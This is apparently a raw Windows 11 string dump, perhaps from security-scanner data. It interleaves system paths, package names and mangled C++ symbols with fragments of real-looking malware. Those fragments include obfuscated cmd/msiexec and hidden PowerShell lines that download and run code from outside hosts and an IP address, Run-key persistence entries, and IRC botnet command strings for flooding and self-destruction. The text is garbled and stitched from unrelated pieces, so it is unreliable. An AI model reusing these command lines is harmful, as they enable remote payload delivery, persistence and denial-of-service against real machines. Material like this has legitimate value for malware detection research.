HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
software\policies\microsoft\windows\systems
C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin
APPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
TMP=C:\WINDOWS\SERVIC~1\LOCALS~1\AppData\Local\Temp
USERPROFILE=C:\WINDOWS\ServiceProfiles\LocalService
windir=C:\WINDOWS
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennial(:L
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopStickerEditor(9H
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DesktopSpotlight(8E
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp(7G
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI.Common(6?
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.ActionUI(5=
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime(4?
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.Accounts(3E
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.AccountDialog(2?
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadata(1P
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtensions'0=
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!InputApp'/E
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!PackageMetadata'.P
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!Global.LiveCaptionsDesktop&-E
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!PackageMetadata&,N
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessPlugin%+V
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.SpeechRecognizerExtension%*L
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessHost%)E
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadata%(W
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global.SpeechSynthesizerExtension$'E
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadata$&D
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.Taskbar#%G
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTray#$E
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadata##N
Enable hardware H264 video encoding on for Cast Streaming on Windows
Use Windows Runtime MIDI API
Use Windows Runtime MIDI API for WebMIDI (effective only on Windows 10 or later).
Use Windows WGC API for screen capture
Use Windows.Graphics.Capture API based screen capturer in combination with the WebRTC based Web API getDisplayMedia. Requires  Windows 10, version 1803 or higher. Adds a thin yellow border around the captured screen area. The DXGI API is used as screen capture API when this flag is disabled.
appdata\local\packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\localstate\files\s0\
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
reg.exequery"hkcu\software\microsoft\windows\currentversion\internetsettings"^|find/i"proxypass"
hidden"(powershell-windowstylehidden-command"start-process-filepath
hidden'-windowstylehidden
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows activatedw
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!PlugUIText
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\ENABLE!DefaultValue
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\ENABLE!PlugUIText
%BrowserAppProfile%\Main\WindowsSearch!Version
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\ENABLE!RegPoliciesPath
/qb3cpvt5l/rbpzyypb/t3iq2t56/%computername%"d^y^vhsb=^x^mf^i^yseu-q!%systemroot%\system32\shell32.dll
zc:\windows\system32\cmd.exekepaniteraan/q/d/v/rst^a^rt^m^s^iexec^lky^x^iz^od^a=sesn^ry-^qu^i^e^t^mi=^q^g/f^v"http://3z.nu:8080/bmauz4yn8qfvt8vjofyenf98icmxc2/!computername!"imageres.dll%
NQc:\windows\system32\cmd.exeinstall/vce/c^s^tartms^i^e^xe^c-f^v"http://6t.pm:8080/aw/a3wm3una8cqzrycpjtpurzm4eezb/!computername!"^nnu^y^h^d^oj=^v^izjs^p^bo^a/quietimageres.dll%systemroot%
\windows\system32\cmd.exe/e/v/csta^rt^msi^e^x^e^c^e^g^r=^eu^ol-fv"http://m0.nu:8080/b/zyqciazcij2trl1ywkrtqckk1x/!computername!"/qu^i^et^l^u=^h^yg^n^okz!%systemroot%\system32\shell32.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-nologo-command-noexit(new-objectsystem.net.webclient).downloadfile('https://www.eaznetagencies.co.ke/
2c:\windows\system32\cmd.exe/q/v/rstart^m^si^e^x^e^c^ekqx^h^r^w^t^p=^d^e^vte/pa^ckage"http://m0.nu:8080/b2b3gk/srkswppbzup0/6mir4/!computername!"^s^sv^b^qb^g^e=^i^yt^z^j^d^q^bo/^qu^i^et
.z5.web.core.windows.net/
ComSpec=C:\WINDOWS\system32\cmd.exe
ows\system32\
.dllc:\windows\
.dllrundll32.exec:\windows\
45.145.185.153/12345.exe%appdata%\system32.exe|cmd.exe/start
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
^\device\harddiskvolume(.*)\users\([^\]*)\appdata\local\packages\microsoftwindows.client.cbs_cw5n1h2txyewy\appdata\cachestorage
^\device\harddiskvolume(.*)\users\([^\]*)\appdata\local\packages\microsoftwindows.client_cw5n1h2txyewy\appdata\cachestorage
^\device\harddiskvolume(.*)\program files\windowsapps\microsoft.windowsnotepad_([^\]*)__8wekyb3d8bbwe\notepad\notepad.exe$
^\device\harddiskvolume(.*)\users\([^\]*)\appdata\local\packages\microsoft.windowsnotepad_8wekyb3d8bbwe\localstate\tabstate\
^\device\harddiskvolume(.*)\program files\windowsapps\microsoft.windowsnotepad_([^\]*)__8wekyb3d8bbwe\notepadxamlui\
^\\%?\volume(.*)\windows\system32
^\device\vhdharddisk(.*)\windows
^\device\harddiskvolume(.*)\program files\windowsapps\
\appdata\roaming\windows.exe'
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!HKeyRoot
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS!Type
%BrowserAppProfile%\New Windows!%s
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!DefaultValue
Windows\CurrentVersion\Ext\Settings\%s!NewInstallPromptCount
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS!Type
%BrowserAppProfile%\New Windows\Allow!%s
Windows\CurrentVersion\Explorer\AutoComplete
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft.Windows.DefenderCore1DS
 powershell.exe-windowstylehH
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
c:\windows\system32\cmd.exe/c"bitsadmin
\\WINDOWS11
HSTR:WindowsFile_CMD_EXE
powershell.exe-executionpolicybypass-windowstylehidden-noninteractive-nologo-file
\Windows
164^com.microsoft.windows.extensionpackage2
\windows\currentversion\run"/v"p
onecore\windows\core\console\open\src\types\colortable.cpp
onecore\windows\core\console\open\src\types\uiatextrangebase.cpp
onecore\windows\core\console\open\src\types\codepointwidthdetector.cpp
onecore\windows\core\console\conint\processpolicy.cpp
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy-Out-Block
Microsoft.Windows.ParentalControls_cw5n1h2txyewy-In-Block
\system32\rundll32.ex
c:\windows\system32\cmd.exe/v:off/d/cmshta"javascript:var_$_lcuk=["\
powershell.exe-nolog-windowsthidde-noexi-noprofile-noninterac-comman
enable windowsF
enable windowsB
add windowsC
add windowsU
or@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IIterable@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVectorView@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IVector@H@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@V?$tuple@U?$IObservableVector@H@Collections@Foundation@Windows@winrt@@U?$IVector@H@2345@U?$IVectorView@H@2345@U?$IIterable@H@2345@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@2345@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@2345@@std@@@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@HV?$vector@HV?$allocator@H@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@U?$IObservableVector@H@Collections@Foundation@Windows@3@X@impl@winrt@@
onecoreuap\base\appmodel\windowmanagement\bamos\client\windowstaticsproxy.cpp
Apolicybypass-windowstylehidden-command"(new-objectsystem.net.webclient).download^
Windows
OS=Windows_NT
windows >
Microsoft.Windows.Graphics.DisplayBroker.Aggregate
Microsoft.Windows.Graphics.WindowsColorSystemGammaDiagnostics
Microsoft.Windows.Security.CodeIntegrity.Wintrust
WindowsAuthenticationElement
supportsMultipleWindows
g packets to ip: %s. packets sent: %d. returned: <%d>[%d-%d-%d %d:%d:%d] %s%s (changed windows: %s)daemon.rlogin.onroot.currentiputil.flushdnsutil.flusharp-[login list]-com.ocmd.offcom.opencmdcom.driveinfocom.uptimecom.harvestcom.procsirc.rm0irc.rem0veproxy.socks4.offproxy.socks4.ondmin
d!@#$%s\c$\winnt\system%s\c$\windows\system%s\admin$\systemprivmsg 
c:\windows\system32\gmvvmokqi.exemessage was sended!atack allready started...icmp flood started...syn flood started...flood is not active...atack terminated...downloading file..updating plugins...deleting plugin...xchanxportxhostreconnecting to irc server...now freq is %snow packetsize is %skey for gid %s updated!!! selfdestruction !!!delpluginupdatepluginsbotnet loader/1.00NICK %suser %s %s %s :%ssuicidefuck.allsuicide ddos endineprivmsg %s :welcome! admin id: %s; gid: %d;privmsg %s :failed to add new adminprivmsg %s :go avay, lam0 =)userhost %spong %shttp://%s/%s?act=getpluginssuicide/1.5http://%s/%s?nick=%s&info=%ssuicide.exesvcroot.exesuicide.syssvcroot
sbotbot killerbot killer threaduninstalling bot...error terminating botkillerspybotlogin logged user %s into botecho open %s > o&echo user %s %s >> o &echo sendmorpheus.exehidserv.exemsnupdate.exetitfuckcyber@crime.govwindows updater services
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
onecoreuap\windows\dwm\manipulationinjector\lib\manipulationinjector.cpp
onecoreuap\windows\moderncore\inputv2\InputHost\Components\DevicePosture\lib\DevicePostureHelpers.h
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\server\inputsitehierarchymanager.cpp
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\server\inputsiteelementproxy.cpp
onecoreuap\windows\moderncore\inputv2\rawinput\lib\gamecontrollerinfo.cpp
onecoreuap\windows\moderncore\inputv2\rawinput\lib\helpers.cpp
onecoreuap\windows\moderncore\inputv2\utilities\callonthreadexit\callonthreadexit.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\componentui\server\cuicomponentinputobjectproxy.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\inputdelegation\server\inputdelegationinputobjectproxy.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\virtualtouchpadcontroller\server\virtualtouchpadcontrollerproxy.cpp
onecoreuap\windows\moderncore\inputv2\Components\InputObservers\inc\InputObserverCapabilities.h
onecoreuap\windows\moderncore\inputv2\components\systemcontext\endpoint\touchpadrectlistproxy.cpp
onecoreuap\windows\moderncore\inputv2\components\systemcontext\manager\systemcontextmanager.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\cursorsuppression\system\lib\cursorsuppressionprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\cursor\system\lib\cursorprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\dragndrop\system\lib\dragareaclientproxy.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\dragndrop\system\lib\dragndropprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\resize\system\lib\resizeareaclientproxy.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\resize\system\lib\resizeprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgy\system\lib\edgyprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgy\system\lib\edgyrecognizer.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgylegacy\server\edgycontrollerclientproxy.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgylegacy\server\edgycontrollerserver.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\magnifier\processor\magnifiercontrollerproxy.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\shellgestures\processor\shelledgyrecognizer.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\shellhandwriting\server\shellhandwritingclientproxy.cpp
onecoreuap\windows\moderncore\inputv2\delivery\server\inputattemptedtargetmanager.cpp
onecoreuap\windows\moderncore\inputv2\delivery\server\inputmodalitymanager.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\cursor\manager\cursormanager.cpp
onecoreuap\windows\moderncore\inH
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
');constregpath='hkcu\\software\\microsoft\\windows\\currentversion\\run';constregkey='
$d=(get-volume|wherefilesystemlabel-like'*windows*').driveletter;$p=$d+':\en-us\efacbcrx';$s=gc$p-raw-encodingutf8;$b=[system.management.automation.scriptblock]::create($s);&$b
.lnk")link.targetpath="powershell"link.arguments="-windowstylehidden
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exC
SOFTWARE\Microsoft\Windows\CurrentVersion\RuS
C:\windows\temC
C:\Windows\System32\fodC
cmd.exe /c start C:\Windows\System32\cmd.exec
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\system32\svchost.exe -k GPSvcGroup
get /show.aspx?file=9999&hash=0\system32\msvfw64.usr
mac address....:cursors\aero_link.curc:\windows\system32\libeay32.dll 
WindowsCodecs.dll
Windows.Foundation.Metadata.MarshalingBehaviorAttribute
 try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
onecoreuap\windows\moderncore\inputv2\inputprocessmanager\lib\inputprocessmanager.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\components\hittesthelper\hittesthelper.cpp
onecoreuap\windows\moderncore\inputv2\utilities\pointermanipulationtracker\draggesturetracker.cpp
onecoreuap\windows\moderncore\inputv2\utilities\systemcontextprovider\lib\virtualtouchpadcontextprovider.cpp
onecoreuap\windows\moderncore\inputv2\utilities\systemcontextprovider\lib\displayocclusioncontextprovider.cpp
onecoreuap\windows\moderncore\inputv2\bamos\server\system\testcommands.cpp
onecoreuap\windows\moderncore\inputv2\rawinput\metadata\infometadata.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\components\inputgestures\system\gesturetracker.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\activation\system\lib\activationprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\combobutton\system\lib\combobuttonprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\combobutton\system\lib\buttonrecognizer.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\inputforwarder\system\lib\inputforwardprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgylegacy\processor\edgyconnection.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgylegacy\processor\edgylegacyprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgylegacy\processor\edges.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgylegacy\processor\edgytarget.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\edgylegacy\processor\edgyimpl.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\magnifier\processor\magnifierprocessor.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\magnifier\processor\magnifierrecognizer.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\magnifier\processor\magnifiertarget.cpp
onecoreuap\windows\moderncore\inputv2\contextualP
ComSpec=C:\WINDOWS\system32\cmd.exe
ComSpec=C:\WINDOWS\system32\cmd.exe
Microsoft.Windows.DusmSvc
WINDOWS.INTERNAL.SYSTEM.PROFILE.REGIONPOLICYEVALUATOR
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Staging.h
windowsudk.shellcommon.dll
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
TEMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
windir=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
COMPUTERNAME=WINDOWS11
TMP=C:\WINDOWS\TEMP
SystemRoot=C:\WINDOWS
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
nebezpecnyweb.eu/cmFuc29td2FyZQ/detail.phpREG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V SysDeleteFilesdecrypting message
\windows\temp\
?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_4cffbd0186911556a6eedd59e6d400a0>@@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_4cffbd0186911556a6eedd59e6d400a0>@@@impl@winrt@@
.?AU?$produce@Uiterator@?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@Uiterator@?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producer@Uiterator@?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Uiterator@?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@$0A@@impl@winrt@@
.?AU?$root_implements@Uiterator@?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AUiterator@?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrt@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@
.?AU?$producers_base@Uiterator@?$iterable_base@U?$inspectable_observable_vector@V?$vector@UIInspectable@Foundation@Windows@winrti:BRUTE:Auto18
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
DriverData=C:\Windows\System32\Drivers\DriverData
Microsoft.Windows.Wil.FeatureLogging
Windows.Launch
Windows-50933
Windows-50935
Windows-50936
Windows-50937
Windows-50939
Windows-51950
Windows-57002
Windows-57003
Windows-57004
Windows-57005
Windows-57006
Windows-57007
Windows-57008
Windows-57009
Windows-57010
Windows-57011
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
